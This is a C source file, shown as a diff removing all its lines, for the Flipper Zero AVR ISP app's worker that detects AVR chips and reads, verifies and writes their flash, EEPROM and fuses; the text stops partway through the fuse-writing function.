-#include "../lib/driver/avr_isp_chip_arr.h" - -#include "flipper_i32hex_file.h" -#include - -#include - -#define TAG "AvrIspWorkerRW" - -#define NAME_PATERN_FLASH_FILE "flash.hex" -#define NAME_PATERN_EEPROM_FILE "eeprom.hex" - -struct AvrIspWorkerRW { - AvrIsp* avr_isp; - FuriThread* thread; - volatile bool worker_running; - - uint32_t chip_arr_ind; - bool chip_detect; - uint8_t lfuse; - uint8_t hfuse; - uint8_t efuse; - uint8_t lock; - float progress_flash; - float progress_eeprom; - const char* file_path; - const char* file_name; - AvrIspSignature signature; - AvrIspWorkerRWCallback callback; - void* context; - - AvrIspWorkerRWStatusCallback callback_status; - void* context_status; -}; - -typedef enum { - AvrIspWorkerRWEvtStop = (1 << 0), - - AvrIspWorkerRWEvtReading = (1 << 1), - AvrIspWorkerRWEvtVerification = (1 << 2), - AvrIspWorkerRWEvtWriting = (1 << 3), - AvrIspWorkerRWEvtWritingFuse = (1 << 4), - -} AvrIspWorkerRWEvt; -#define AVR_ISP_WORKER_ALL_EVENTS \ - (AvrIspWorkerRWEvtWritingFuse | AvrIspWorkerRWEvtWriting | AvrIspWorkerRWEvtVerification | \ - AvrIspWorkerRWEvtReading | AvrIspWorkerRWEvtStop) - -/** Worker thread - * - * @param context - * @return exit code - */ -static int32_t avr_isp_worker_rw_thread(void* context) { - AvrIspWorkerRW* instance = context; - - /* start PWM on &gpio_ext_pa4 */ - if(!furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - } - - FURI_LOG_D(TAG, "Start"); - - while(1) { - uint32_t events = - furi_thread_flags_wait(AVR_ISP_WORKER_ALL_EVENTS, FuriFlagWaitAny, FuriWaitForever); - - if(events & AvrIspWorkerRWEvtStop) { - break; - } - - if(events & AvrIspWorkerRWEvtWritingFuse) { - if(avr_isp_worker_rw_write_fuse(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndWritingFuse); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorWritingFuse); - } - } - - if(events & AvrIspWorkerRWEvtWriting) { - if(avr_isp_worker_rw_write_dump(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndWriting); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorWriting); - } - } - - if(events & AvrIspWorkerRWEvtVerification) { - if(avr_isp_worker_rw_verification(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndVerification); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorVerification); - } - } - - if(events & AvrIspWorkerRWEvtReading) { - if(avr_isp_worker_rw_read_dump(instance, instance->file_path, instance->file_name)) { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusEndReading); - } else { - if(instance->callback_status) - instance->callback_status( - instance->context_status, AvrIspWorkerRWStatusErrorReading); - } - } - } - FURI_LOG_D(TAG, "Stop"); - - if(furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - } - - return 0; -} - -bool avr_isp_worker_rw_detect_chip(AvrIspWorkerRW* instance) { - furi_assert(instance); - - FURI_LOG_D(TAG, "Detecting AVR chip"); - - instance->chip_detect = false; - instance->chip_arr_ind = avr_isp_chip_arr_size + 1; - - /* start PWM on &gpio_ext_pa4 */ - bool was_pwm_enabled = false; - if(!furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4)) { - furi_hal_pwm_start(FuriHalPwmOutputIdLptim2PA4, 4000000, 50); - } else { - was_pwm_enabled = true; - } - - do { - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - instance->signature = avr_isp_read_signature(instance->avr_isp); - - if(instance->signature.vendor != 0x1E) { - //No detect chip - } else { - for(uint32_t ind = 0; ind < avr_isp_chip_arr_size; ind++) { - if(avr_isp_chip_arr[ind].avrarch != F_AVR8) continue; - if(avr_isp_chip_arr[ind].sigs[1] == instance->signature.part_family) { - if(avr_isp_chip_arr[ind].sigs[2] == instance->signature.part_number) { - FURI_LOG_D(TAG, "Detect AVR chip = \"%s\"", avr_isp_chip_arr[ind].name); - FURI_LOG_D( - TAG, - "Signature = 0x%02X 0x%02X 0x%02X", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number); - - switch(avr_isp_chip_arr[ind].nfuses) { - case 1: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - FURI_LOG_D(TAG, "Lfuse = %02X", instance->lfuse); - break; - case 2: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - instance->hfuse = avr_isp_read_fuse_high(instance->avr_isp); - FURI_LOG_D( - TAG, "Lfuse = %02X Hfuse = %02X", instance->lfuse, instance->hfuse); - break; - case 3: - instance->lfuse = avr_isp_read_fuse_low(instance->avr_isp); - instance->hfuse = avr_isp_read_fuse_high(instance->avr_isp); - instance->efuse = avr_isp_read_fuse_extended(instance->avr_isp); - FURI_LOG_D( - TAG, - "Lfuse = %02X Hfuse = %02X Efuse = %02X", - instance->lfuse, - instance->hfuse, - instance->efuse); - break; - default: - break; - } - if(avr_isp_chip_arr[ind].nlocks == 1) { - instance->lock = avr_isp_read_lock_byte(instance->avr_isp); - FURI_LOG_D(TAG, "Lock = %02X", instance->lock); - } - instance->chip_detect = true; - instance->chip_arr_ind = ind; - break; - } - } - } - } - avr_isp_end_pmode(instance->avr_isp); - - } while(0); - - if(furi_hal_pwm_is_running(FuriHalPwmOutputIdLptim2PA4) && !was_pwm_enabled) { - furi_hal_pwm_stop(FuriHalPwmOutputIdLptim2PA4); - } - - if(instance->callback) { - if(instance->chip_arr_ind > avr_isp_chip_arr_size) { - instance->callback(instance->context, "No detect", instance->chip_detect, 0); - } else if(instance->chip_arr_ind < avr_isp_chip_arr_size) { - instance->callback( - instance->context, - avr_isp_chip_arr[instance->chip_arr_ind].name, - instance->chip_detect, - avr_isp_chip_arr[instance->chip_arr_ind].flashsize); - } else { - instance->callback(instance->context, "Unknown", instance->chip_detect, 0); - } - } - - return instance->chip_detect; -} - -AvrIspWorkerRW* avr_isp_worker_rw_alloc(void* context) { - furi_assert(context); - UNUSED(context); - - AvrIspWorkerRW* instance = malloc(sizeof(AvrIspWorkerRW)); - instance->avr_isp = avr_isp_alloc(); - - instance->thread = - furi_thread_alloc_ex("AvrIspWorkerRW", 4096, avr_isp_worker_rw_thread, instance); - - instance->chip_detect = false; - instance->lfuse = 0; - instance->hfuse = 0; - instance->efuse = 0; - instance->lock = 0; - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - - return instance; -} - -void avr_isp_worker_rw_free(AvrIspWorkerRW* instance) { - furi_assert(instance); - - avr_isp_free(instance->avr_isp); - - furi_check(!instance->worker_running); - furi_thread_free(instance->thread); - - free(instance); -} - -void avr_isp_worker_rw_start(AvrIspWorkerRW* instance) { - furi_assert(instance); - furi_assert(!instance->worker_running); - - instance->worker_running = true; - - furi_thread_start(instance->thread); -} - -void avr_isp_worker_rw_stop(AvrIspWorkerRW* instance) { - furi_assert(instance); - furi_assert(instance->worker_running); - - instance->worker_running = false; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtStop); - - furi_thread_join(instance->thread); -} - -bool avr_isp_worker_rw_is_running(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->worker_running; -} - -void avr_isp_worker_rw_set_callback( - AvrIspWorkerRW* instance, - AvrIspWorkerRWCallback callback, - void* context) { - furi_assert(instance); - - instance->callback = callback; - instance->context = context; -} - -void avr_isp_worker_rw_set_callback_status( - AvrIspWorkerRW* instance, - AvrIspWorkerRWStatusCallback callback_status, - void* context_status) { - furi_assert(instance); - - instance->callback_status = callback_status; - instance->context_status = context_status; -} - -float avr_isp_worker_rw_get_progress_flash(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->progress_flash; -} - -float avr_isp_worker_rw_get_progress_eeprom(AvrIspWorkerRW* instance) { - furi_assert(instance); - - return instance->progress_eeprom; -} - -static void avr_isp_worker_rw_get_dump_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - FURI_LOG_D(TAG, "Dump FLASH %s", file_path); - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_write( - file_path, avr_isp_chip_arr[instance->chip_arr_ind].flashoffset); - - uint8_t data[272] = {0}; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - for(int32_t i = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - i < avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2; - i += avr_isp_chip_arr[instance->chip_arr_ind].pagesize / 2) { - if(send_extended_addr) { - if(extended_addr <= ((i >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((i >> 16) & 0xFF) + 1; - } - } - avr_isp_read_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - (uint16_t)i, - avr_isp_chip_arr[instance->chip_arr_ind].pagesize, - data, - sizeof(data)); - flipper_i32hex_file_bin_to_i32hex_set_data( - flipper_hex_flash, data, avr_isp_chip_arr[instance->chip_arr_ind].pagesize); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_flash)); - instance->progress_flash = - (float)(i) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - } - flipper_i32hex_file_bin_to_i32hex_set_end_line(flipper_hex_flash); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_flash)); - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; -} - -static void avr_isp_worker_rw_get_dump_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - FURI_LOG_D(TAG, "Dump EEPROM %s", file_path); - - FlipperI32HexFile* flipper_hex_eeprom = flipper_i32hex_file_open_write( - file_path, avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset); - - int32_t size_data = 32; - uint8_t data[256] = {0}; - - if(size_data > avr_isp_chip_arr[instance->chip_arr_ind].eepromsize) - size_data = avr_isp_chip_arr[instance->chip_arr_ind].eepromsize; - - for(int32_t i = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - i < avr_isp_chip_arr[instance->chip_arr_ind].eepromsize; - i += size_data) { - avr_isp_read_page( - instance->avr_isp, STK_SET_EEPROM_TYPE, (uint16_t)i, size_data, data, sizeof(data)); - flipper_i32hex_file_bin_to_i32hex_set_data(flipper_hex_eeprom, data, size_data); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_eeprom)); - instance->progress_eeprom = - (float)(i) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - } - flipper_i32hex_file_bin_to_i32hex_set_end_line(flipper_hex_eeprom); - FURI_LOG_D(TAG, "%s", flipper_i32hex_file_get_string(flipper_hex_eeprom)); - flipper_i32hex_file_close(flipper_hex_eeprom); - instance->progress_eeprom = 1.0f; -} - -bool avr_isp_worker_rw_read_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Read dump chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - bool ret = false; - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* file_path_name = furi_string_alloc(); - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - do { - furi_string_printf( - file_path_name, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_always( - flipper_format, furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "flipper_format_file_open_always"); - break; - } - if(!flipper_format_write_header_cstr( - flipper_format, AVR_ISP_APP_FILE_TYPE, AVR_ISP_APP_FILE_VERSION)) { - FURI_LOG_E(TAG, "flipper_format_write_header_cstr"); - break; - } - if(!flipper_format_write_string_cstr( - flipper_format, "Chip name", avr_isp_chip_arr[instance->chip_arr_ind].name)) { - FURI_LOG_E(TAG, "Chip name"); - break; - } - if(!flipper_format_write_hex( - flipper_format, - "Signature", - (uint8_t*)&instance->signature, - sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Unable to add Signature"); - break; - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 0) { - if(!flipper_format_write_hex(flipper_format, "Lfuse", &instance->lfuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Lfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 1) { - if(!flipper_format_write_hex(flipper_format, "Hfuse", &instance->hfuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Hfuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nfuses > 2) { - if(!flipper_format_write_hex(flipper_format, "Efuse", &instance->efuse, 1)) { - FURI_LOG_E(TAG, "Unable to add Efuse"); - break; - } - } - if(avr_isp_chip_arr[instance->chip_arr_ind].nlocks == 1) { - if(!flipper_format_write_hex(flipper_format, "Lock", &instance->lock, 1)) { - FURI_LOG_E(TAG, "Unable to add Lock"); - break; - } - } - furi_string_printf(file_path_name, "%s_%s", file_name, NAME_PATERN_FLASH_FILE); - if(!flipper_format_write_string_cstr( - flipper_format, "Dump_flash", furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Unable to add Dump_flash"); - break; - } - - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf(file_path_name, "%s_%s", file_name, NAME_PATERN_EEPROM_FILE); - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - if(!flipper_format_write_string_cstr( - flipper_format, "Dump_eeprom", furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Unable to add Dump_eeprom"); - break; - } - } - } - ret = true; - } while(false); - } - - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - - if(ret) { - if(avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - //Dump flash - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_FLASH_FILE); - avr_isp_worker_rw_get_dump_flash(instance, furi_string_get_cstr(file_path_name)); - //Dump eeprom - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_EEPROM_FILE); - avr_isp_worker_rw_get_dump_eeprom(instance, furi_string_get_cstr(file_path_name)); - } - - avr_isp_end_pmode(instance->avr_isp); - } - } - - furi_string_free(file_path_name); - - return true; -} - -void avr_isp_worker_rw_read_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtReading); -} - -static bool avr_isp_worker_rw_verification_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - FURI_LOG_D(TAG, "Verification flash %s", file_path); - - instance->progress_flash = 0.0; - bool ret = true; - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_read(file_path); - - uint8_t data_read_flash[272] = {0}; - uint8_t data_read_hex[272] = {0}; - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - FlipperI32HexFileRet flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_flash, data_read_hex, sizeof(data_read_hex)); - - while(((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) && - ret) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - - if(send_extended_addr) { - if(extended_addr <= ((addr >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((addr >> 16) & 0xFF) + 1; - } - } - - avr_isp_read_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - (uint16_t)addr, - flipper_hex_ret.data_size, - data_read_flash, - sizeof(data_read_flash)); - - if(memcmp(data_read_hex, data_read_flash, flipper_hex_ret.data_size) != 0) { - ret = false; - - FURI_LOG_E(TAG, "Verification flash error"); - FURI_LOG_E(TAG, "Addr: 0x%04lX", addr); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_hex[i]); - } - FURI_LOG_RAW_E("\r\n"); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_flash[i]); - } - FURI_LOG_RAW_E("\r\n"); - } - - addr += flipper_hex_ret.data_size / 2; - instance->progress_flash = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data_read_hex[0] << 24 | data_read_hex[1] << 16) / 2; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_flash, data_read_hex, sizeof(data_read_hex)); - } - - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; - - return ret; -} - -static bool - avr_isp_worker_rw_verification_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_assert(file_path); - - FURI_LOG_D(TAG, "Verification eeprom %s", file_path); - - instance->progress_eeprom = 0.0; - bool ret = true; - - FlipperI32HexFile* flipper_hex_eeprom = flipper_i32hex_file_open_read(file_path); - - uint8_t data_read_eeprom[272] = {0}; - uint8_t data_read_hex[272] = {0}; - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - - FlipperI32HexFileRet flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom, data_read_hex, sizeof(data_read_hex)); - - while(((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) && - ret) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - avr_isp_read_page( - instance->avr_isp, - STK_SET_EEPROM_TYPE, - (uint16_t)addr, - flipper_hex_ret.data_size, - data_read_eeprom, - sizeof(data_read_eeprom)); - - if(memcmp(data_read_hex, data_read_eeprom, flipper_hex_ret.data_size) != 0) { - ret = false; - FURI_LOG_E(TAG, "Verification eeprom error"); - FURI_LOG_E(TAG, "Addr: 0x%04lX", addr); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_hex[i]); - } - FURI_LOG_RAW_E("\r\n"); - for(uint32_t i = 0; i < flipper_hex_ret.data_size; i++) { - FURI_LOG_RAW_E("%02X ", data_read_eeprom[i]); - } - FURI_LOG_RAW_E("\r\n"); - } - - addr += flipper_hex_ret.data_size; - instance->progress_eeprom = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data_read_hex[0] << 24 | data_read_hex[1] << 16); - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom, data_read_hex, sizeof(data_read_hex)); - } - - flipper_i32hex_file_close(flipper_hex_eeprom); - instance->progress_eeprom = 1.0f; - - return ret; -} - -bool avr_isp_worker_rw_verification( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Verification chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - FuriString* file_path_name = furi_string_alloc(); - - bool ret = false; - - if(avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - do { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_FLASH_FILE); - if(!avr_isp_worker_rw_verification_flash( - instance, furi_string_get_cstr(file_path_name))) - break; - - if(avr_isp_chip_arr[instance->chip_arr_ind].eepromsize > 0) { - furi_string_printf( - file_path_name, "%s/%s_%s", file_path, file_name, NAME_PATERN_EEPROM_FILE); - - if(!avr_isp_worker_rw_verification_eeprom( - instance, furi_string_get_cstr(file_path_name))) - break; - } - ret = true; - } while(false); - avr_isp_end_pmode(instance->avr_isp); - furi_string_free(file_path_name); - } - return ret; -} - -void avr_isp_worker_rw_verification_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtVerification); -} - -static void avr_isp_worker_rw_write_flash(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - instance->progress_flash = 0.0; - - FURI_LOG_D(TAG, "Write Flash %s", file_path); - - uint8_t data[288] = {0}; - - FlipperI32HexFile* flipper_hex_flash = flipper_i32hex_file_open_read(file_path); - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].flashoffset; - bool send_extended_addr = ((avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2) > 0x10000); - uint8_t extended_addr = 0; - - FlipperI32HexFileRet flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_flash, data, sizeof(data)); - - while((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - - if(send_extended_addr) { - if(extended_addr <= ((addr >> 16) & 0xFF)) { - avr_isp_write_extended_addr(instance->avr_isp, extended_addr); - extended_addr = ((addr >> 16) & 0xFF) + 1; - } - } - - if(!avr_isp_write_page( - instance->avr_isp, - STK_SET_FLASH_TYPE, - avr_isp_chip_arr[instance->chip_arr_ind].flashsize, - (uint16_t)addr, - avr_isp_chip_arr[instance->chip_arr_ind].pagesize, - data, - flipper_hex_ret.data_size)) { - break; - } - addr += flipper_hex_ret.data_size / 2; - instance->progress_flash = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].flashsize / 2.0f); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = (data[0] << 24 | data[1] << 16) / 2; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_flash, data, sizeof(data)); - } - - flipper_i32hex_file_close(flipper_hex_flash); - instance->progress_flash = 1.0f; -} - -static void avr_isp_worker_rw_write_eeprom(AvrIspWorkerRW* instance, const char* file_path) { - furi_assert(instance); - furi_check(instance->avr_isp); - - instance->progress_eeprom = 0.0; - uint8_t data[288] = {0}; - - FURI_LOG_D(TAG, "Write EEPROM %s", file_path); - - FlipperI32HexFile* flipper_hex_eeprom_read = flipper_i32hex_file_open_read(file_path); - - uint32_t addr = avr_isp_chip_arr[instance->chip_arr_ind].eepromoffset; - FlipperI32HexFileRet flipper_hex_ret = - flipper_i32hex_file_i32hex_to_bin_get_data(flipper_hex_eeprom_read, data, sizeof(data)); - - while((flipper_hex_ret.status == FlipperI32HexFileStatusData) || - (flipper_hex_ret.status == FlipperI32HexFileStatusUdateAddr)) { - switch(flipper_hex_ret.status) { - case FlipperI32HexFileStatusData: - if(!avr_isp_write_page( - instance->avr_isp, - STK_SET_EEPROM_TYPE, - avr_isp_chip_arr[instance->chip_arr_ind].eepromsize, - (uint16_t)addr, - avr_isp_chip_arr[instance->chip_arr_ind].eeprompagesize, - data, - flipper_hex_ret.data_size)) { - break; - } - addr += flipper_hex_ret.data_size; - instance->progress_eeprom = - (float)(addr) / ((float)avr_isp_chip_arr[instance->chip_arr_ind].eepromsize); - break; - - case FlipperI32HexFileStatusUdateAddr: - addr = data[0] << 24 | data[1] << 16; - break; - - default: - furi_crash(TAG " Incorrect status."); - break; - } - - flipper_hex_ret = flipper_i32hex_file_i32hex_to_bin_get_data( - flipper_hex_eeprom_read, data, sizeof(data)); - } - - flipper_i32hex_file_close(flipper_hex_eeprom_read); - instance->progress_eeprom = 1.0f; -} - -bool avr_isp_worker_rw_write_dump( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - FURI_LOG_D(TAG, "Write dump chip"); - - instance->progress_flash = 0.0f; - instance->progress_eeprom = 0.0f; - bool ret = false; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* flipper_format = flipper_format_file_alloc(storage); - FuriString* file_path_name = furi_string_alloc(); - - FuriString* temp_str_1 = furi_string_alloc(); - FuriString* temp_str_2 = furi_string_alloc(); - uint32_t temp_data32; - - if(!avr_isp_worker_rw_detect_chip(instance)) { - FURI_LOG_E(TAG, "No detect AVR chip"); - } else { - //upload file with description - do { - furi_string_printf( - file_path_name, "%s/%s%s", file_path, file_name, AVR_ISP_APP_EXTENSION); - if(!flipper_format_file_open_existing( - flipper_format, furi_string_get_cstr(file_path_name))) { - FURI_LOG_E(TAG, "Error open file %s", furi_string_get_cstr(file_path_name)); - break; - } - - if(!flipper_format_read_header(flipper_format, temp_str_1, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - break; - } - - if((!strcmp(furi_string_get_cstr(temp_str_1), AVR_ISP_APP_FILE_TYPE)) && - temp_data32 == AVR_ISP_APP_FILE_VERSION) { - } else { - FURI_LOG_E(TAG, "Type or version mismatch"); - break; - } - - AvrIspSignature sig_read = {0}; - - if(!flipper_format_read_hex( - flipper_format, "Signature", (uint8_t*)&sig_read, sizeof(AvrIspSignature))) { - FURI_LOG_E(TAG, "Missing Signature"); - break; - } - - if(memcmp( - (uint8_t*)&instance->signature, (uint8_t*)&sig_read, sizeof(AvrIspSignature)) != - 0) { - FURI_LOG_E( - TAG, - "Wrong chip. Connected (%02X %02X %02X), read from file (%02X %02X %02X)", - instance->signature.vendor, - instance->signature.part_family, - instance->signature.part_number, - sig_read.vendor, - sig_read.part_family, - sig_read.part_number); - break; - } - - if(!flipper_format_read_string(flipper_format, "Dump_flash", temp_str_1)) { - FURI_LOG_E(TAG, "Missing Dump_flash"); - break; - } - - //may not be - flipper_format_read_string(flipper_format, "Dump_eeprom", temp_str_2); - ret = true; - } while(false); - } - flipper_format_free(flipper_format); - furi_record_close(RECORD_STORAGE); - - if(ret) { - do { - //checking .hex files for errors - - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_1)); - - FURI_LOG_D(TAG, "Check flash file"); - FlipperI32HexFile* flipper_hex_flash_read = - flipper_i32hex_file_open_read(furi_string_get_cstr(file_path_name)); - if(flipper_i32hex_file_check(flipper_hex_flash_read)) { - FURI_LOG_D(TAG, "Check flash file: OK"); - } else { - FURI_LOG_E(TAG, "Check flash file: Error"); - ret = false; - } - flipper_i32hex_file_close(flipper_hex_flash_read); - - if(furi_string_size(temp_str_2) > 4) { - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_2)); - - FURI_LOG_D(TAG, "Check eeprom file"); - FlipperI32HexFile* flipper_hex_eeprom_read = - flipper_i32hex_file_open_read(furi_string_get_cstr(file_path_name)); - if(flipper_i32hex_file_check(flipper_hex_eeprom_read)) { - FURI_LOG_D(TAG, "Check eeprom file: OK"); - } else { - FURI_LOG_E(TAG, "Check eeprom file: Error"); - ret = false; - } - flipper_i32hex_file_close(flipper_hex_eeprom_read); - } - - if(!ret) break; - ret = false; - - //erase chip - FURI_LOG_D(TAG, "Erase chip"); - if(!avr_isp_erase_chip(instance->avr_isp)) { - FURI_LOG_E(TAG, "Erase chip: Error"); - break; - } - - if(!avr_isp_auto_set_spi_speed_start_pmode(instance->avr_isp)) { - FURI_LOG_E(TAG, "Well, I managed to enter the mod program"); - break; - } - - //write flash - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_1)); - avr_isp_worker_rw_write_flash(instance, furi_string_get_cstr(file_path_name)); - - //write eeprom - if(furi_string_size(temp_str_2) > 4) { - furi_string_printf( - file_path_name, "%s/%s", file_path, furi_string_get_cstr(temp_str_2)); - avr_isp_worker_rw_write_eeprom(instance, furi_string_get_cstr(file_path_name)); - } - ret = true; - avr_isp_end_pmode(instance->avr_isp); - } while(false); - } - - furi_string_free(file_path_name); - furi_string_free(temp_str_1); - furi_string_free(temp_str_2); - - return ret; -} - -void avr_isp_worker_rw_write_dump_start( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - - instance->file_path = file_path; - instance->file_name = file_name; - furi_thread_flags_set(furi_thread_get_id(instance->thread), AvrIspWorkerRWEvtWriting); -} - -bool avr_isp_worker_rw_write_fuse( - AvrIspWorkerRW* instance, - const char* file_path, - const char* file_name) { - furi_assert(instance); - furi_assert(file_path); - furi_assert(file_name); - - 